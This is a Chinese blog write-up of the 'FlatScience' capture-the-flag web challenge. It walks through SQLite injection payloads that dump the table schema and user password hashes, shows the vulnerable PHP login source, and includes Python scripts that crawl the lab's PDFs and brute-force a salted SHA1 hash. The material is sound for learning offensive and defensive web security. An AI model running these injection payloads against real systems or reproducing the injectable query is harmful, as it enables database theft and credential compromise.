攻防世界-FlatScience

参考链接: 

攻防世界-WEB-FlatScience - renblog - 博客园 (cnblogs.com)

知识点:

sqlite注入和sql注入的区别
sha1()函数的相关内容
setcookie()函数的相关内容 

1.拿到题目后,进行目录扫描 

2.去看一眼robots.txt

猜测:在login处进行测试,拿到admin的密码后去admin.php进行登录拿到flag 

3.看源码

拿到提示:在登录页面传入一个debug参数(???),然后就拿到源码了

发现是 sqlite注入 小知识点: sqlite数据库

1,什么是sqlite数据库:

SQLite的是一种嵌入式数据库,它的数据库就是一个文件。由于SQLite的本身是Ç写的,而且体积很小,所以经常被集成到各种应用程序中,主要在手机的应用中使用。

SQLite是一个进程内的库,实现了自给自足的、无服务器的、零配置的、事务性的 SQL 数据库引擎。它是一个零配置的数据库,这意味着与其他数据库一样,您不需要在系统中配置。

就像其他数据库,SQLite 引擎不是一个独立的进程,可以按应用程序需求进行静态或动态连接。SQLite 直接访问其存储文件。

2,sqlite和 mysql的不同:

熟悉MySQL数据库的人都知道,MySQL中有一个名为information_schema的系统库,里面包含了所有MYSQL数据库中库名,表名,列名的信息,那么SQLITE数据库有没有呢?
答案当然是没有的。对于SQLITE而言,并没有库的概念,而是直接对象就是表了,所以SQLITE没有系统库,但是它是存在系统表的,这个表名为sqlite_master

简单来说,SQLITE功能简约,小型化,追求最大磁盘效率;MYSQL功能全面,综合化,追求最大并发效率。如果只是单机上用的,数据量不是很大,需要方便移植或者需要频繁读/写磁盘文件的话,就用SQLite比较合适;如果是要满足多用户同时访问,或者是网站访问量比较大是使用MYSQL比较合适。

3,sqlite 注入的示例payload:

按照正常的sql注入步骤列出每一步的payload

第一步: 跟mysql一样 先试 sql语句的闭合方式

?id=' //报错

?id=' --+ //不报错
第二步: 测字段数

?id=' order by 3 --+ //不报错

?id=' order by 4 --+ //报错
第三步:可以查看一下sqlite的版本信息(没什么用),或者 直接查看数据库中的所有的表名

?id=' union select 1,2,sqlite_version() --+
?id=' union select 1,2,group_concat(tbl_name) from sqlite_master where type='table' --+
第四步:通过查询创建表的sql语句,来得到表的结构

?id=' union select 1,2,sql from sqlite_master where type='table' and tbl_name='users' --+
第五步:脱库

?id=' union select 1,group_concat(username),group_concat(password) from users limit 0,1 --+

 简单点说,sqlite和sql的区别就是

sql注入参数sqlite参数
information_schemasqlite_master
table_nametbl_name
table_schema=database()type='table'
查数据库下的表名没有具体的数据库对象,直接插查表名
select group_concat(table_name) from information_schema.tables where table_schema = database()select group_concat(tbl_name) from sqlite_master where type='table'
查user表下的字段查user表的结构
select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='user'select sql from sqlite_master where type = 'table' and tbl_name='user'
查user表下的password字段的具体数据查user表下的password字段的具体数据
select group_concat(password) from userselect group_concat(password) from user

4.对输入框进行测试 

了解了sqlite注入,直接注入即可

1.验证存在sqlite注入:输入单引号

从报错信息中的SQLite3确定了存在sqlite注入

2.分析源码

<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
        $user = $_POST['usr'];//接收输入框的id传入的值
        $pass = $_POST['pw'];//接收输入框的password传入的值

        $db = new SQLite3('../fancy.db'); //连接数据库
        
        $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
// query()进行语句的查询
//返回两个字段:id,name
//调用sha1函数对(pass+Salz!)整体进行加密
    if($res){
        $row = $res->fetchArray();
    }
    else{
        echo "<br>Some Error occourred!";
    }

    if(isset($row['id'])){
            setcookie('name',' '.$row['name'], time() + 60, '/');
//这一条提示了注入回显的信息会在cookie中,回显的内容是查询的第二个字段即name
//cookie的名字为name,value为row[name],有效期是1分钟,路径是根目录
            header("Location: /");
//重定向到根目录
            die();
    }

}

if(isset($_GET['debug']))
highlight_file('login.php');
?>

sha1()函数的相关内容:

PHP sha1() 函数 (w3school.com.cn)

setcookie()函数的相关内容

PHP setcookie() 函数 (w3school.com.cn)

3.开始注入

查表名

' union select 1,group_concat(tbl_name) from sqlite_master where type='table --

提交的数据包会自动进行url编码 

表名为Users

查表的结构 

将返回的字符拿去解码后得到+CREATE+TABLE+Users(id+int+primary+key,name+varchar(255),password+varchar(255),hint+varchar(255)) 

确定了要查的数据在Users下的name和password中

查数据

 查name

用户名有 admin,fritze,hansi 

查password

3fab54a50e770d830c0416df817567662a9dc85c, //admin的密码
54eae8935c90f467427f05e4ece82cf569f89507, //fritze的密码
34b0bb7c304949f9ff2fc101eef0f048be10d3bd  //hansi的密码

 关于解密:我们在上文已经找到了加密方式 ,admin的密码如下:

3fab54a50e770d830c0416df817567662a9dc85c =  sha1(pass.'Salz!')

但还是解密不出来,因此去看下hint

查hint

my fav word in my fav paper?!, 
my love is�, 
the password is password 

//分别对应admin,fritze,hansi 

解密

解密还不太会,直接拿现成的 

1.爬取网站上的pdf文件,并下载到制定目录

import requests
import re
import os
import sys
#跟据不同网站pdf存放的目录进行修改
re1 = '[a-fA-F0-9]{32,32}.pdf'
re2 = '[0-9\/]{2,2}index.html'

pdf_list = []
def get_pdf(url):
    global pdf_list 
    print(url)
    req = requests.get(url).text
    re_1 = re.findall(re1,req)
    for i in re_1:
        pdf_url = url+i
        pdf_list.append(pdf_url)
    re_2 = re.findall(re2,req)
    for j in re_2:
        new_url = url+j[0:2]
        get_pdf(new_url)
    return pdf_list
    # return re_2

pdf_list = get_pdf('http://61.147.171.105:58034/') #需要修改的值
print(pdf_list)
for i in pdf_list:
    os.system('wget '+i)

不想用脚本也可以自己去手动下载 

2.对sha1进行暴力破解

根据我们注入得到的提示,admin的原密码在某个pdf文件中,因此我们要做的是提取pdf中的文字,将文字拼接上“salz!"后进行sha1加密,将加密得到的值与注入得到的密码进行对比,如果相同的话就找到了原密码

from io import StringIO

#python3
from pdfminer.pdfpage import PDFPage
from pdfminer.converter import TextConverter
from pdfminer.converter import PDFPageAggregator
from pdfminer.layout import LTTextBoxHorizontal, LAParams
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter


import sys
import string
import os
import hashlib
import importlib
import random
from urllib.request import urlopen
from urllib.request import Request


def get_pdf():
    return [i for i in os.listdir("./") if i.endswith("pdf")]
 
 
def convert_pdf_to_txt(path_to_file):
    rsrcmgr = PDFResourceManager()
    retstr = StringIO()
    codec = 'utf-8'
    laparams = LAParams()
    device = TextConverter(rsrcmgr, retstr, codec=codec, laparams=laparams)
    fp = open(path_to_file, 'rb')
    interpreter = PDFPageInterpreter(rsrcmgr, device)
    password = ""
    maxpages = 0
    caching = True
    pagenos=set()

    for page in PDFPage.get_pages(fp, pagenos, maxpages=maxpages, password=password,caching=caching, check_extractable=True):
        interpreter.process_page(page)

    text = retstr.getvalue()

    fp.close()
    device.close()
    retstr.close()
    return text
 
 
def find_password():
    pdf_path = get_pdf()
    for i in pdf_path:
        print ("Searching word in " + i)
        pdf_text = convert_pdf_to_txt("./"+i).split(" ")
        for word in pdf_text:
            sha1_password = hashlib.sha1(word.encode('utf-8')+'Salz!'.encode('utf-8')).hexdigest()
#不同的题目,需要修改Salz!
            if (sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c'): 
#需要修改的返回密码
                print ("Find the password :" + word)
                exit()
            
 
if __name__ == "__main__":
    find_password()

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

jjj34

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值